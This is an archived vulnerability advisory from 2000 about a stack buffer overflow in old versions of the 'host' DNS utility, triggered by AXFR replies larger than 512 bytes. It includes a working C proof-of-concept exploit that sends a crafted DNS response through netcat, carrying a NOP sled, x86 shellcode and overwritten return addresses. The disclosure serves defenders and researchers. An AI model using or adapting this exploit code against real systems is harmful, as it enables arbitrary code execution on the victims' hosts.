old version of host command vulnearbility

2000-10-28T00:00:00
ID SECURITYVULNS:DOC:850
Type securityvulns
Reporter Securityvulns
Modified 2000-10-28T00:00:00

Description

Synopsis

Old versions of the 'host' command, contain an exploitable buffer overflow. Sorry if this is already known, it seems an old problem but I failed searching it in the bugtraq archives.

Versions

The version affected is the following: static char rcsid[] = "$Id: host.c,v 8.21 1998/03/19 19:31:25 halley Exp $";

Maybe some newer version (but not the current), probably older versions.

Description

The host command can be used to perform the AXFR request to obtain the zone transfer of some domain. UDP DNS messages are limited to 512 bytes, TCP DNS messages to 65535 bytes. Vulnerable versions of the host command perform the AXFR query using TCP but write the received data to a stack allocated buffer of 512 bytes. If the server send a message bigger than 512 bytes the return address of the function can be modified. This can be reproduced using the host command with the syntax and the proof of concepts exploit attached blow:

command line:

./host -l -v -t any somezone.org <fake server>

proof of concepts exploit:

/ hostexp.c * cc hostexp.c -o hostexp * * usage: ./hostexp | nc -l -p 53 /

include <stdio.h>

include <netinet/in.h>

int main(void) { int offset = 140; unsigned int base = 0xbffff74c+offset, i; char shellcode[] = / 48 bytes, ripped / "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/ls"; unsigned short a = htons(1024); char buffer[1026];

    memcpy&#40;buffer, &amp;a, 2&#41;;
    memset&#40;buffer+2, &#39;A&#39;, 100&#41;; /* avoid response processing */
    memset&#40;buffer+102, 0x90, 100&#41;;
    memcpy&#40;buffer+202, shellcode, 48&#41;;
    for &#40;i = 202+48; i &lt; 202+48+600; i+=4&#41;
            memcpy&#40;buffer+i, &amp;base, 4&#41;;
    write&#40;fileno&#40;stdout&#41;, buffer, 1026&#41;;
    return 0;

}

regards, antirez

-- Salvatore Sanfilippo antirez@invece.org